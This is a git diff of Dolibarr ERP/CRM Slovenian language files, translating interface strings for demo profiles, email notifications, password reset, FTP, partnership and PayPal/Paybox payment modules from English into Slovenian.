+PredefinedMailContentSendFichInter=__(Zdravo)__\n\nPriložena je intervencija __REF__\n\n\n__(s spoštovanjem)__\n\n__USER_SIGNATURE__ +PredefinedMailContentLink=Lahko kliknete spodnjo povezavo, da izvedete plačilo, če še ni izvedeno.\n\n%s\n\n +PredefinedMailContentGeneric=__(Zdravo)__\n\n\n__(s spoštovanjem)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendActionComm=Opomnik dogodka »__EVENT_LABEL__« dne __EVENT_DATE__ ob __EVENT_TIME__

      To je samodejno sporočilo, ne odgovarjajte. +DemoDesc=Dolibarr je kompakten ERP/CRM, ki podpira več poslovnih modulov. Predstavitev, ki prikazuje vse module, nima smisla, saj se ta scenarij nikoli ne zgodi (na voljo jih je nekaj sto). Na voljo je torej več demo profilov. +ChooseYourDemoProfil=Izberite demo profil, ki najbolj ustreza vašim potrebam... +ChooseYourDemoProfilMore=... ali ustvarite svoj profil
      (ročna izbira modula) DemoFundation=Urejanje članov ustanove DemoFundation2=Urejanje članov in bančnih računov ustanove -DemoCompanyServiceOnly=Company or freelance selling service only -DemoCompanyShopWithCashDesk=Manage a shop with a cash box -DemoCompanyProductAndStocks=Shop selling products with Point Of Sales -DemoCompanyManufacturing=Company manufacturing products -DemoCompanyAll=Company with multiple activities (all main modules) +DemoCompanyServiceOnly=Samo podjetje ali samostojna prodajna storitev +DemoCompanyShopWithCashDesk=Upravljajte trgovino z blagajno +DemoCompanyProductAndStocks=Nakupujte s prodajo izdelkov na prodajnem mestu +DemoCompanyManufacturing=Podjetje, ki proizvaja izdelke +DemoCompanyAll=Podjetje z več dejavnostmi (vsi glavni moduli) CreatedBy=Kreiral %s ModifiedBy=Spremenil %s ValidatedBy=Potrdil %s -SignedBy=Signed by %s +SignedBy=Podpisal %s ClosedBy=Zaključil %s CreatedById=ID uporabnika, ki je ustvaril -ModifiedById=User id who made latest change +ModifiedById=ID uporabnika, ki je naredil zadnjo spremembo ValidatedById=ID uporabnika, ki je potrdil CanceledById=ID uporabnika, ki je preklical ClosedById=ID uporabnika, ki je zaključil CreatedByLogin=Ime uporabika, ki je ustvaril -ModifiedByLogin=User login who made latest change +ModifiedByLogin=Prijava uporabnika, ki je naredil zadnjo spremembo ValidatedByLogin=Ime uporabnika, ki je potrdil CanceledByLogin=Ime uporabnika, ki je preklical ClosedByLogin=Ime uporabnika, ki je zaključil FileWasRemoved=Datoteka je bila izbrisana DirWasRemoved=Mapa je bila odstranjena -FeatureNotYetAvailable=Feature not yet available in the current version -FeatureNotAvailableOnDevicesWithoutMouse=Feature not available on devices without mouse -FeaturesSupported=Supported features +FeatureNotYetAvailable=Funkcija še ni na voljo v trenutni različici +FeatureNotAvailableOnDevicesWithoutMouse=Funkcija ni na voljo v napravah brez miške +FeaturesSupported=Podprte funkcije Width=Širina Height=Višina Depth=Globina @@ -180,48 +182,52 @@ SizeUnitinch=inč SizeUnitfoot=čevelj SizeUnitpoint=točka BugTracker=Sledenje hrošču -SendNewPasswordDesc=This form allows you to request a new password. It will be sent to your email address.
      Change will become effective once you click on the confirmation link in the email.
      Check your inbox. +SendNewPasswordDesc=Ta obrazec vam omogoča, da zahtevate novo geslo. Poslano bo na vaš e-poštni naslov.
      Sprememba bo začela veljati, ko kliknete potrditveno povezavo v e-poštnem sporočilu.
      Preverite svoj nabiralnik. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Nazaj na stran za prijavo AuthenticationDoesNotAllowSendNewPassword=Preverjanje pristnosti je %s.
      V tem načinu Dolibarr ne more vedeti, niti spremeniti vašega gesla.
      Če želite spremeniti geslo, se obrnite na vašega sistemskega administratorja. -EnableGDLibraryDesc=Install or enable GD library on your PHP installation to use this option. +EnableGDLibraryDesc=Za uporabo te možnosti namestite ali omogočite knjižnico GD v svoji namestitvi PHP. ProfIdShortDesc=Prof Id %s je informacija, odvisna od države partnerja.
      Na primer za državo %s, je koda %s. DolibarrDemo=Dolibarr ERP/CRM demo -StatsByNumberOfUnits=Statistics for sum of qty of products/services -StatsByNumberOfEntities=Statistics for number of referring entities (no. of invoices, or orders...) -NumberOfProposals=Number of proposals -NumberOfCustomerOrders=Number of sales orders -NumberOfCustomerInvoices=Number of customer invoices -NumberOfSupplierProposals=Number of vendor proposals -NumberOfSupplierOrders=Number of purchase orders -NumberOfSupplierInvoices=Number of vendor invoices -NumberOfContracts=Number of contracts -NumberOfMos=Number of manufacturing orders -NumberOfUnitsProposals=Number of units on proposals -NumberOfUnitsCustomerOrders=Number of units on sales orders -NumberOfUnitsCustomerInvoices=Number of units on customer invoices -NumberOfUnitsSupplierProposals=Number of units on vendor proposals -NumberOfUnitsSupplierOrders=Number of units on purchase orders -NumberOfUnitsSupplierInvoices=Number of units on vendor invoices -NumberOfUnitsContracts=Number of units on contracts -NumberOfUnitsMos=Number of units to produce in manufacturing orders -EMailTextInterventionAddedContact=A new intervention %s has been assigned to you. +StatsByNumberOfUnits=Statistika za vsoto količin izdelkov/storitev +StatsByNumberOfEntities=Statistika za število napotitvenih subjektov (št. računov ali naročil...) +NumberOfProposals=Število predlogov +NumberOfCustomerOrders=Število prodajnih naročil +NumberOfCustomerInvoices=Število računov strank +NumberOfSupplierProposals=Število ponudb ponudnikov +NumberOfSupplierOrders=Število naročilnic +NumberOfSupplierInvoices=Število prejetih računov +NumberOfContracts=Število pogodb +NumberOfMos=Število proizvodnih naročil +NumberOfUnitsProposals=Število enot na predlogih +NumberOfUnitsCustomerOrders=Število enot na prodajnih naročilih +NumberOfUnitsCustomerInvoices=Število enot na računih strank +NumberOfUnitsSupplierProposals=Število enot na ponudbi +NumberOfUnitsSupplierOrders=Število enot na naročilnici +NumberOfUnitsSupplierInvoices=Število enot na prejetih računih +NumberOfUnitsContracts=Število enot na pogodbah +NumberOfUnitsMos=Število enot za proizvodnjo v proizvodnih naročilih +EMailTextInterventionAddedContact=Dodeljena vam je nova intervencija %s. EMailTextInterventionValidated=Potrjena intervencija %s -EMailTextInvoiceValidated=Invoice %s has been validated. -EMailTextInvoicePayed=Invoice %s has been paid. -EMailTextProposalValidated=Proposal %s has been validated. -EMailTextProposalClosedSigned=Proposal %s has been closed signed. -EMailTextOrderValidated=Order %s has been validated. -EMailTextOrderApproved=Order %s has been approved. -EMailTextOrderValidatedBy=Order %s has been recorded by %s. -EMailTextOrderApprovedBy=Order %s has been approved by %s. -EMailTextOrderRefused=Order %s has been refused. -EMailTextOrderRefusedBy=Order %s has been refused by %s. -EMailTextExpeditionValidated=Shipping %s has been validated. -EMailTextExpenseReportValidated=Expense report %s has been validated. -EMailTextExpenseReportApproved=Expense report %s has been approved. -EMailTextHolidayValidated=Leave request %s has been validated. -EMailTextHolidayApproved=Leave request %s has been approved. -EMailTextActionAdded=The action %s has been added to the Agenda. +EMailTextInvoiceValidated=Račun %s je bil potrjen. +EMailTextInvoicePayed=Račun %s je plačan. +EMailTextProposalValidated=Predlog %s je bil potrjen. +EMailTextProposalClosedSigned=Predlog %s je bil podpisan zaprt. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. +EMailTextOrderValidated=Naročilo %s je potrjeno. +EMailTextOrderApproved=Naročilo %s je bilo odobreno. +EMailTextOrderValidatedBy=Naročilo %s je zabeležil %s. +EMailTextOrderApprovedBy=Naročilo %s je odobril %s. +EMailTextOrderRefused=Naročilo %s je bilo zavrnjeno. +EMailTextOrderRefusedBy=Naročilo %s je zavrnil %s. +EMailTextExpeditionValidated=Pošiljanje %s je potrjeno. +EMailTextExpenseReportValidated=Poročilo o stroških %s je bilo potrjeno. +EMailTextExpenseReportApproved=Poročilo o stroških %s je bilo odobreno. +EMailTextHolidayValidated=Zahteva za dopust %s je bila potrjena. +EMailTextHolidayApproved=Zahteva za dopust %s je bila odobrena. +EMailTextActionAdded=Ukrep %s je bil dodan na dnevni red. ImportedWithSet=Nabor podatkov za uvoz DolibarrNotification=Avtomatsko obvestilo ResizeDesc=Vnesite novo širino ALI novo višino. Razmerje se bo med spreminjanjem velikosti ohranilo... @@ -229,7 +235,7 @@ NewLength=Nova širina NewHeight=Nova višina NewSizeAfterCropping=Nova velikost po obrezovanju DefineNewAreaToPick=Določitev novega območja na sliki za pobiranje (levi klik na sliko in vleka kurzorja do nasprotnega vogala) -CurrentInformationOnImage=This tool was designed to help you to resize or crop an image. This is the information on the current edited image +CurrentInformationOnImage=To orodje je bilo zasnovano za pomoč pri spreminjanju velikosti ali obrezovanju slike. To so informacije o trenutno urejeni sliki ImageEditor=Obdelovalnik slik YouReceiveMailBecauseOfNotification=To sporočilo ste prejeli, ker je bil vaš email dodan na seznam interesentov za določene dogodke v program %s od %s. YouReceiveMailBecauseOfNotification2=Ta dogodek je naslednji: @@ -242,65 +248,92 @@ StartUpload=Zaženi prenos CancelUpload=Prekliči prenos FileIsTooBig=Datoteke so prevelike PleaseBePatient=Prosim, bodite potrpežljivi... -NewPassword=New password -ResetPassword=Reset password -RequestToResetPasswordReceived=A request to change your password has been received. +NewPassword=Novo geslo +ResetPassword=Ponastavitev gesla +RequestToResetPasswordReceived=Prejeli smo zahtevo za spremembo gesla. NewKeyIs=To so vaši novi podatki za prijavo NewKeyWillBe=Vaši novi podatki za prijavo v program bodo ClickHereToGoTo=K.iknite tukaj za vstop v %s YouMustClickToChange=Vendar morate najprej klikniti na naslednji link za potrditev spremembe gesla -ConfirmPasswordChange=Confirm password change +ConfirmPasswordChange=Potrdite spremembo gesla ForgetIfNothing=Če niste zahtevali te spremembe, enostavno pozabite na ta email. Vaši prijavni podatki so varno shranjeni. IfAmountHigherThan=Če je znesek večji od %s SourcesRepository=Shramba virov -Chart=Chart -PassEncoding=Password encoding -PermissionsAdd=Permissions added -PermissionsDelete=Permissions removed -YourPasswordMustHaveAtLeastXChars=Your password must have at least %s chars -PasswordNeedAtLeastXUpperCaseChars=The password need at least %s upper case chars -PasswordNeedAtLeastXDigitChars=The password need at least %s numeric chars -PasswordNeedAtLeastXSpecialChars=The password need at least %s special chars -PasswordNeedNoXConsecutiveChars=The password must not have %s consecutive similar chars -YourPasswordHasBeenReset=Your password has been reset successfully -ApplicantIpAddress=IP address of applicant -SMSSentTo=SMS sent to %s -MissingIds=Missing ids -ThirdPartyCreatedByEmailCollector=Third party created by email collector from email MSGID %s -ContactCreatedByEmailCollector=Contact/address created by email collector from email MSGID %s -ProjectCreatedByEmailCollector=Project created by email collector from email MSGID %s -TicketCreatedByEmailCollector=Ticket created by email collector from email MSGID %s -OpeningHoursFormatDesc=Use a - to separate opening and closing hours.
      Use a space to enter different ranges.
      Example: 8-12 14-18 -SuffixSessionName=Suffix for session name -LoginWith=Login with %s +Chart=grafikon +PassEncoding=Kodiranje gesla +PermissionsAdd=Dodana dovoljenja +PermissionsDelete=Dovoljenja odstranjena +YourPasswordMustHaveAtLeastXChars=Vaše geslo mora imeti vsaj %s znakov +PasswordNeedAtLeastXUpperCaseChars=Geslo potrebuje vsaj %s velike črke +PasswordNeedAtLeastXDigitChars=Geslo potrebuje vsaj %s številskih znakov +PasswordNeedAtLeastXSpecialChars=Geslo potrebuje vsaj %s posebne znake +PasswordNeedNoXConsecutiveChars=Geslo ne sme imeti %s zaporednih podobnih znakov +YourPasswordHasBeenReset=Vaše geslo je bilo uspešno ponastavljeno +ApplicantIpAddress=IP naslov prijavitelja +SMSSentTo=SMS poslan na %s +MissingIds=Manjkajoči ID-ji +ThirdPartyCreatedByEmailCollector=Tretja oseba, ki jo je ustvaril zbiralec e-pošte iz e-pošte MSGID %s +ContactCreatedByEmailCollector=Kontakt/naslov, ki ga je ustvaril zbiralec e-pošte iz e-pošte MSGID %s +ProjectCreatedByEmailCollector=Projekt, ki ga je ustvaril zbiralec e-pošte iz e-pošte MSGID %s +TicketCreatedByEmailCollector=Vstopnico je ustvaril zbiralec e-pošte iz e-poštnega naslova MSGID %s +OpeningHoursFormatDesc=Z - ločite odpiralni in zapiralni čas.
      Za vnos različnih obsegov uporabite presledek.
      Primer: 8-12 14-18 +SuffixSessionName=Pripona za ime seje +LoginWith=Prijavite se z %s ##### Export ##### ExportsArea=Področje izvoza AvailableFormats=Možni formati LibraryUsed=Uporabljena knjižnica -LibraryVersion=Library version +LibraryVersion=Različica knjižnice ExportableDatas=Podatki za izvoz NoExportableData=Ni podatkov za izvoz (ni nalčoženih modolov za izvoz podatkov, ali ni ustreznega dovoljenja) ##### External sites ##### -WebsiteSetup=Setup of module website -WEBSITE_PAGEURL=URL of page +WebsiteSetup=Postavitev spletne strani modula +WEBSITE_PAGEURL=URL strani WEBSITE_TITLE=Naziv WEBSITE_DESCRIPTION=Opis -WEBSITE_IMAGE=Image -WEBSITE_IMAGEDesc=Relative path of the image media. You can keep this empty as this is rarely used (it can be used by dynamic content to show a thumbnail in a list of blog posts). Use __WEBSITE_KEY__ in the path if path depends on website name (for example: image/__WEBSITE_KEY__/stories/myimage.png). -WEBSITE_KEYWORDS=Keywords -LinesToImport=Lines to import +WEBSITE_IMAGE=Slika +WEBSITE_IMAGEDesc=Relativna pot slikovnega medija. To lahko pustite prazno, ker se redko uporablja (lahko ga uporabi dinamična vsebina za prikaz sličice na seznamu objav v spletnem dnevniku). Uporabite __WEBSITE_KEY__ v poti, če je pot odvisna od imena spletnega mesta (na primer: image/__WEBSITE_KEY__/stories/myimage.png). +WEBSITE_KEYWORDS=Ključne besede +LinesToImport=Vrstice za uvoz -MemoryUsage=Memory usage -RequestDuration=Duration of request -ProductsPerPopularity=Products/Services by popularity -PopuProp=Products/Services by popularity in Proposals -PopuCom=Products/Services by popularity in Orders -ProductStatistics=Products/Services Statistics -NbOfQtyInOrders=Qty in orders -SelectTheTypeOfObjectToAnalyze=Select an object to view its statistics... +MemoryUsage=Poraba pomnilnika +RequestDuration=Trajanje zahteve +ProductsPerPopularity=Izdelki/storitve po priljubljenosti +PopuProp=Izdelki/storitve po priljubljenosti v ponudbah +PopuCom=Izdelki/storitve po priljubljenosti v naročilih +ProductStatistics=Statistika izdelkov/storitev +NbOfQtyInOrders=Količina v naročilih +SelectTheTypeOfObjectToAnalyze=Izberite predmet za ogled njegove statistike ... -ConfirmBtnCommonContent = Are you sure you want to "%s" ? -ConfirmBtnCommonTitle = Confirm your action +ConfirmBtnCommonContent = Ali ste prepričani, da želite "%s"? +ConfirmBtnCommonTitle = Potrdite svoje dejanje CloseDialog = Zapri -Autofill = Autofill +Autofill = Samodejno izpolnjevanje + +# externalsite +ExternalSiteSetup=Setup se povezujejo na zunanji strani +ExternalSiteURL=URL zunanjega mesta vsebine iframe HTML +ExternalSiteModuleNotComplete=Modul za zunanjo stran ni bil konfiguriran pravilno +ExampleMyMenuEntry=Moj menijski vnos + +# ftp +FTPClientSetup=Nastavitev odjemalskega modula FTP ali SFTP +NewFTPClient=Nova nastavitev povezave FTP/SFTP +FTPArea=Območje FTP/SFTP +FTPAreaDesc=Ta zaslon prikazuje pogled strežnika FTP in SFTP. +SetupOfFTPClientModuleNotComplete=Zdi se, da nastavitev odjemalskega modula FTP ali SFTP ni popolna +FTPFeatureNotSupportedByYourPHP=Vaš PHP ne podpira funkcij FTP ali SFTP +FailedToConnectToFTPServer=Povezava s strežnikom ni uspela (strežnik %s, vrata %s) +FailedToConnectToFTPServerWithCredentials=Prijava v strežnik z določeno prijavo/geslom ni uspela +FTPFailedToRemoveFile=Neuspešna odstranitev datoteke %s. +FTPFailedToRemoveDir=Imenika ni bilo mogoče odstraniti %s : preverite dovoljenja in ali je imenik prazen. +FTPPassiveMode=Pasivni način +ChooseAFTPEntryIntoMenu=V meniju izberite mesto FTP/SFTP ... +FailedToGetFile=Datotek %s ni bilo mogoče pridobiti +ErrorFTPNodisconnect=Napaka pri prekinitvi povezave s strežnikom FTP/SFTP +FileWasUpload=Datoteka %s je bila naložena +FTPFailedToUploadFile=Nalaganje datoteke %s ni uspelo. +AddFolder=Ustvari mapo +FileWasCreateFolder=Mapa %s je ustvarjena +FTPFailedToCreateFolder=Mape ni bilo mogoče ustvariti %s . diff --git a/htdocs/langs/sl_SI/partnership.lang b/htdocs/langs/sl_SI/partnership.lang index 8f0267a28c6..6be6c76caac 100644 --- a/htdocs/langs/sl_SI/partnership.lang +++ b/htdocs/langs/sl_SI/partnership.lang @@ -16,77 +16,81 @@ # # Generic # -ModulePartnershipName=Partnership management -PartnershipDescription=Module Partnership management -PartnershipDescriptionLong= Module Partnership management -Partnership=Partnership -AddPartnership=Add partnership -CancelPartnershipForExpiredMembers=Partnership: Cancel partnership of members with expired subscriptions -PartnershipCheckBacklink=Partnership: Check referring backlink +ModulePartnershipName=Upravljanje partnerstva +PartnershipDescription=Modul Partnerski management +PartnershipDescriptionLong= Modul Partnerski management +Partnership=Partnerstvo +Partnerships=Partnerships +AddPartnership=Dodajte partnerstvo +CancelPartnershipForExpiredMembers=Partnerstvo: Prekličite partnerstvo članov s potečeno naročnino +PartnershipCheckBacklink=Partnerstvo: Preverite napotitveno povratno povezavo # # Menu # -NewPartnership=New Partnership -ListOfPartnerships=List of partnership +NewPartnership=Novo partnerstvo +NewPartnershipbyWeb=Your partnership request has been added successfully. We may contact you soon... +ListOfPartnerships=Seznam partnerstev # # Admin page # -PartnershipSetup=Partnership setup -PartnershipAbout=About Partnership -PartnershipAboutPage=Partnership about page -partnershipforthirdpartyormember=Partner status must be set on a 'thirdparty' or a 'member' -PARTNERSHIP_IS_MANAGED_FOR=Partnership managed for -PARTNERSHIP_BACKLINKS_TO_CHECK=Backlinks to check -PARTNERSHIP_NBDAYS_AFTER_MEMBER_EXPIRATION_BEFORE_CANCEL=Nb of days before cancelling status of a partnership when a subscription has expired -ReferingWebsiteCheck=Check of website referring -ReferingWebsiteCheckDesc=You can enable a feature to check that your partners has added a backlink to your website domains on their own website. +PartnershipSetup=Postavitev partnerstva +PartnershipAbout=O partnerstvu +PartnershipAboutPage=Partnerstvo o strani +partnershipforthirdpartyormember=Status partnerja mora biti nastavljen na "tretja oseba" ali "član" +PARTNERSHIP_IS_MANAGED_FOR=Partnerstvo upravlja za +PARTNERSHIP_BACKLINKS_TO_CHECK=Povratne povezave za preverjanje +PARTNERSHIP_NBDAYS_AFTER_MEMBER_EXPIRATION_BEFORE_CANCEL=Število dni pred preklicem statusa partnerstva, ko je naročnina potekla +ReferingWebsiteCheck=Preverjanje napotitve na spletno stran +ReferingWebsiteCheckDesc=Omogočite lahko funkcijo za preverjanje, ali so vaši partnerji dodali povratno povezavo do domen vašega spletnega mesta na svojem spletnem mestu. +PublicFormRegistrationPartnerDesc=Dolibarr vam lahko zagotovi javni URL/spletno mesto, ki zunanjim obiskovalcem omogoča, da zaprosijo za sodelovanje v partnerskem programu. # # Object # -DeletePartnership=Delete a partnership -PartnershipDedicatedToThisThirdParty=Partnership dedicated to this third party -PartnershipDedicatedToThisMember=Partnership dedicated to this member +DeletePartnership=Izbrišite partnerstvo +PartnershipDedicatedToThisThirdParty=Partnerstvo, namenjeno tej tretji osebi +PartnershipDedicatedToThisMember=Partnerstvo posvečeno temu članu DatePartnershipStart=Začetni datum DatePartnershipEnd=Končni datum -ReasonDecline=Decline reason -ReasonDeclineOrCancel=Decline reason -PartnershipAlreadyExist=Partnership already exist -ManagePartnership=Manage partnership -BacklinkNotFoundOnPartnerWebsite=Backlink not found on partner website -ConfirmClosePartnershipAsk=Are you sure you want to cancel this partnership? -PartnershipType=Partnership type -PartnershipRefApproved=Partnership %s approved +ReasonDecline=Razlog za zavrnitev +ReasonDeclineOrCancel=Razlog za zavrnitev +PartnershipAlreadyExist=Partnerstvo že obstaja +ManagePartnership=Upravljajte partnerstvo +BacklinkNotFoundOnPartnerWebsite=Povratne povezave ni mogoče najti na partnerskem spletnem mestu +ConfirmClosePartnershipAsk=Ali ste prepričani, da želite preklicati to partnerstvo? +PartnershipType=Vrsta partnerstva +PartnershipRefApproved=Partnerstvo %s odobreno +KeywordToCheckInWebsite=Če želite preveriti, ali je določena ključna beseda prisotna na spletnem mestu posameznega partnerja, to ključno besedo definirajte tukaj +PartnershipDraft=Osnutek +PartnershipAccepted=Sprejeto +PartnershipRefused=Zavrnjeno +PartnershipCanceled=Preklicano +PartnershipManagedFor=Partnerji so # # Template Mail # -SendingEmailOnPartnershipWillSoonBeCanceled=Partnership will soon be canceled -SendingEmailOnPartnershipRefused=Partnership refused -SendingEmailOnPartnershipAccepted=Partnership accepted -SendingEmailOnPartnershipCanceled=Partnership canceled +SendingEmailOnPartnershipWillSoonBeCanceled=Partnerstvo bo kmalu preklicano +SendingEmailOnPartnershipRefused=Partnerstvo zavrnjeno +SendingEmailOnPartnershipAccepted=Partnerstvo sprejeto +SendingEmailOnPartnershipCanceled=Partnerstvo preklicano -YourPartnershipWillSoonBeCanceledTopic=Partnership will soon be canceled -YourPartnershipRefusedTopic=Partnership refused -YourPartnershipAcceptedTopic=Partnership accepted -YourPartnershipCanceledTopic=Partnership canceled +YourPartnershipWillSoonBeCanceledTopic=Partnerstvo bo kmalu preklicano +YourPartnershipRefusedTopic=Partnerstvo zavrnjeno +YourPartnershipAcceptedTopic=Partnerstvo sprejeto +YourPartnershipCanceledTopic=Partnerstvo preklicano -YourPartnershipWillSoonBeCanceledContent=We inform you that your partnership will soon be canceled (Backlink not found) -YourPartnershipRefusedContent=We inform you that your partnership request has been refused. -YourPartnershipAcceptedContent=We inform you that your partnership request has been accepted. -YourPartnershipCanceledContent=We inform you that your partnership has been canceled. +YourPartnershipWillSoonBeCanceledContent=Obveščamo vas, da bo vaše partnerstvo kmalu preklicano (povratne povezave ni mogoče najti) +YourPartnershipRefusedContent=Obveščamo vas, da je bila vaša prošnja za partnerstvo zavrnjena. +YourPartnershipAcceptedContent=Obveščamo vas, da je bila vaša prošnja za partnerstvo sprejeta. +YourPartnershipCanceledContent=Obveščamo vas, da je vaše partnerstvo preklicano. -CountLastUrlCheckError=Number of errors for last URL check -LastCheckBacklink=Date of last URL check -ReasonDeclineOrCancel=Decline reason +CountLastUrlCheckError=Število napak pri zadnjem preverjanju URL-ja +LastCheckBacklink=Datum zadnjega preverjanja URL-ja +ReasonDeclineOrCancel=Razlog za zavrnitev + +NewPartnershipRequest=Nova zahteva za partnerstvo +NewPartnershipRequestDesc=Ta obrazec vam omogoča, da zaprosite za sodelovanje v enem od naših partnerskih programov. Če potrebujete pomoč pri izpolnjevanju tega obrazca, se obrnite na e-pošto %s . -# -# Status -# -PartnershipDraft=Osnutek -PartnershipAccepted=Accepted -PartnershipRefused=Zavrnjeno -PartnershipCanceled=Preklicano -PartnershipManagedFor=Partners are diff --git a/htdocs/langs/sl_SI/paybox.lang b/htdocs/langs/sl_SI/paybox.lang index 4b3b718cc19..1e1949a4609 100644 --- a/htdocs/langs/sl_SI/paybox.lang +++ b/htdocs/langs/sl_SI/paybox.lang @@ -1,31 +1,30 @@ # Dolibarr language file - Source file is en_US - paybox PayBoxSetup=Nastavitev modula za online plačila Paybox -PayBoxDesc=Ta modul omogoča kupcem plačevanje na Paybox. Lahko se uporabi za prosto plačevanje ali za plačilo posameznih Dolibarr postavk (račun, naročilo, ...) +PayBoxDesc=Ta modul ponuja strani, ki strankam omogočajo plačilo na Paybox . To lahko uporabite za brezplačno plačilo ali za plačilo določenega predmeta Dolibarr (račun, naročilo, ...) FollowingUrlAreAvailableToMakePayments=Naslednji URL naslovi so na voljo kupcem za izvedbo plačil Dolibarr postavk PaymentForm=Obrazec za plačilo -WelcomeOnPaymentPage=Welcome to our online payment service +WelcomeOnPaymentPage=Dobrodošli v naši spletni plačilni storitvi ThisScreenAllowsYouToPay=Ta zaslon omogoča online plačilo za %s. ThisIsInformationOnPayment=To je informacija o potrebnem plačilu ToComplete=Za dokončanje YourEMail=E-pošta za potrditev plačila Creditor=Upnik PaymentCode=Koda plačila -PayBoxDoPayment=Pay with Paybox +PayBoxDoPayment=Plačajte s Payboxom YouWillBeRedirectedOnPayBox=Preusmerjeni boste na varno Paybox stran za vnos podatkov o vaši kreditni kartici Continue=Naslednji -SetupPayBoxToHavePaymentCreatedAutomatically=Setup your Paybox with url %s to have payment created automatically when validated by Paybox. +SetupPayBoxToHavePaymentCreatedAutomatically=Nastavite svoj Paybox z url %s , da se plačilo samodejno ustvari, ko ga potrdi Paybox. YourPaymentHasBeenRecorded=Ta stran potrjuje, da je bilo vaše plačilo sprejeto. Hvala. -YourPaymentHasNotBeenRecorded=Your payment has NOT been recorded and the transaction has been canceled. Thank you. +YourPaymentHasNotBeenRecorded=Vaše plačilo NI bilo zabeleženo in transakcija je bila preklicana. Hvala vam. AccountParameter=Parametri računa UsageParameter=Parametri uporabe InformationToFindParameters=Pomoč pri iskanju informacij računa %s PAYBOX_CGI_URL_V2=Url Paybox CGI modula za plačila -VendorName=Ime prodajalca CSSUrlForPaymentForm=url CSS vzorca obrazca plačila NewPayboxPaymentReceived=Novo Paybox plačilo prejeto NewPayboxPaymentFailed=Zavrnjen poskus novega Paybox plačila -PAYBOX_PAYONLINE_SENDEMAIL=Email notification after payment attempt (success or fail) +PAYBOX_PAYONLINE_SENDEMAIL=E-poštno obvestilo po poskusu plačila (uspešnem ali neuspešnem) PAYBOX_PBX_SITE=Vrednost za PBX SITE PAYBOX_PBX_RANG=Vrednost za PBX Rang PAYBOX_PBX_IDENTIFIANT=Vrednost za PBX ID -PAYBOX_HMAC_KEY=HMAC key +PAYBOX_HMAC_KEY=Ključ HMAC diff --git a/htdocs/langs/sl_SI/paypal.lang b/htdocs/langs/sl_SI/paypal.lang index e3e7642eddd..40a31a3c597 100644 --- a/htdocs/langs/sl_SI/paypal.lang +++ b/htdocs/langs/sl_SI/paypal.lang @@ -1,36 +1,37 @@ # Dolibarr language file - Source file is en_US - paypal PaypalSetup=Nastavitev modula PayPal -PaypalDesc=This module allows payment by customers via PayPal. This can be used for a ad-hoc payment or for a payment related to a Dolibarr object (invoice, order, ...) -PaypalOrCBDoPayment=Pay with PayPal (Card or PayPal) -PaypalDoPayment=Pay with PayPal +PaypalDesc=Ta modul omogoča plačilo strankam preko PayPal . Uporablja se lahko za ad hoc plačilo ali za plačilo v zvezi z objektom Dolibarr (račun, naročilo, ...) +PaypalOrCBDoPayment=Plačajte s PayPal (kartica ali PayPal) +PaypalDoPayment=Plačajte s PayPal PAYPAL_API_SANDBOX=Način test/sandbox PAYPAL_API_USER=API ime uporabnika PAYPAL_API_PASSWORD=API geslo PAYPAL_API_SIGNATURE=API podpis -PAYPAL_SSLVERSION=Curl SSL Version -PAYPAL_API_INTEGRAL_OR_PAYPALONLY=Offer "integral" payment (Credit card+PayPal) or "PayPal" only +PAYPAL_SSLVERSION=Različica SSL Curl +PAYPAL_API_INTEGRAL_OR_PAYPALONLY=Ponudite "integralno" plačilo (kreditna kartica+PayPal) ali samo "PayPal". PaypalModeIntegral=Celovito PaypalModeOnlyPaypal=Samo PayPal -ONLINE_PAYMENT_CSS_URL=Optional URL of CSS stylesheet on online payment page +ONLINE_PAYMENT_CSS_URL=Izbirni URL datoteke s slogi CSS na strani za spletno plačilo ThisIsTransactionId=To je ID transakcije: %s -PAYPAL_ADD_PAYMENT_URL=Include the PayPal payment url when you send a document by email -NewOnlinePaymentReceived=New online payment received -NewOnlinePaymentFailed=New online payment tried but failed -ONLINE_PAYMENT_SENDEMAIL=Email address for notifications after each payment attempt (for success and fail) +PAYPAL_ADD_PAYMENT_URL=Ko pošljete dokument po e-pošti, vključite URL plačila PayPal +NewOnlinePaymentReceived=Prejeto novo spletno plačilo +NewOnlinePaymentFailed=Poskus z novim spletnim plačilom, vendar neuspešen +ONLINE_PAYMENT_SENDEMAIL=E-poštni naslov za obvestila po vsakem poskusu plačila (za uspeh in neuspeh) ReturnURLAfterPayment=URL za vrnitev po izvedenem plačilu -ValidationOfOnlinePaymentFailed=Validation of online payment failed -PaymentSystemConfirmPaymentPageWasCalledButFailed=Payment confirmation page was called by payment system returned an error -SetExpressCheckoutAPICallFailed=SetExpressCheckout API call failed. -DoExpressCheckoutPaymentAPICallFailed=DoExpressCheckoutPayment API call failed. -DetailedErrorMessage=Detailed Error Message -ShortErrorMessage=Short Error Message -ErrorCode=Error Code -ErrorSeverityCode=Error Severity Code -OnlinePaymentSystem=Online payment system -PaypalLiveEnabled=PayPal "live" mode enabled (otherwise test/sandbox mode) -PaypalImportPayment=Import PayPal payments -PostActionAfterPayment=Post actions after payments -ARollbackWasPerformedOnPostActions=A rollback was performed on all Post actions. You must complete post actions manually if they are necessary. -ValidationOfPaymentFailed=Validation of payment has failed -CardOwner=Card holder -PayPalBalance=Paypal credit +ValidationOfOnlinePaymentFailed=Preverjanje spletnega plačila ni uspelo +PaymentSystemConfirmPaymentPageWasCalledButFailed=Plačilni sistem je poklical stran za potrditev plačila in je vrnil napako +SetExpressCheckoutAPICallFailed=Klic API-ja SetExpressCheckout ni uspel. +DoExpressCheckoutPaymentAPICallFailed=Klic API-ja DoExpressCheckoutPayment ni uspel. +DetailedErrorMessage=Podrobno sporočilo o napaki +ShortErrorMessage=Kratko sporočilo o napaki +ErrorCode=Napačna koda +ErrorSeverityCode=Koda resnosti napake +OnlinePaymentSystem=Spletni plačilni sistem +PaypalLiveEnabled=PayPal način "v živo" je omogočen (sicer testni/peskovniški način) +PaypalImportPayment=Uvoz plačil PayPal +PostActionAfterPayment=Objavite dejanja po plačilih +ARollbackWasPerformedOnPostActions=Povrnitev je bila izvedena pri vseh dejanjih objave. Dejanja objave morate dokončati ročno, če so potrebna. +ValidationOfPaymentFailed=Potrditev plačila ni uspela +CardOwner=Nosilec kartice +PayPalBalance=Paypal kredit +OnlineSubscriptionPaymentLine=Spletna naročnina, zabeležena dne %s
      Plačano prek %s
